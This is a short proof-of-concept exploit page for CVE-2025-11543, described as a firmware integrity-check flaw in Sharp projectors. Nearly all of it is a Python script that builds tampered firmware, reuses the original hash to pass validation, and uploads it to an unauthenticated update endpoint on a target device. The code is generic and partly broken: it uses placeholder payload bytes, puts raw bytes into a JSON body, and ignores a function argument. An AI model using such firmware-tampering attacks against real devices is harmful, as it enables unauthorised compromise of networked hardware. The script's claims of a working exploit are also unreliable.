CVE-2025-11543 Sharp投影仪固件完整性验证漏洞

# CVE-2025-11543 PoC - Firmware Integrity Bypass # This PoC demonstrates the concept of exploiting improper integrity check validation # For authorized security research only import hashlib import struct import requests def create_malicious_firmware(): """ Create a modified firmware with tampered integrity check value """ # Original firmware structure header = b'SHARP_FW_V1' original_data = b'\x00' * 1024 # Placeholder for original firmware # Calculate hash of original data original_hash = hashlib.sha256(original_data).hexdigest() # Malicious payload to inject malicious_payload = b'MALICIOUS_FIRMWARE_PAYLOAD_' + b'\x90' * 1000 # Tampered firmware - inject malicious code but keep original hash # This exploits the improper validation where hash check is insufficient tampered_data = malicious_payload # Create firmware package with manipulated integrity value firmware_package = { 'header': header, 'version': 1.0, 'integrity_check': original_hash, # Use original hash to bypass validation 'payload': tampered_data } return firmware_package def exploit_via_network(target_ip, firmware_package): """ Send malicious firmware to vulnerable Sharp projector """ # Firmware update endpoint (example) update_url = f"http://{target_ip}:8080/firmware/update" # Prepare malicious firmware package malicious_fw = create_malicious_firmware() # Send firmware update request without authentication try: response = requests.post(update_url, json=malicious_fw, timeout=30) if response.status_code == 200: print("[+] Malicious firmware uploaded successfully") print("[+] Device may now be compromised") return True except Exception as e: print(f"[-] Upload failed: {e}") return False if __name__ == "__main__": # Target configuration target = "192.168.1.100" # Replace with actual target IP # Create and deploy malicious firmware fw = create_malicious_firmware() exploit_via_network(target, fw)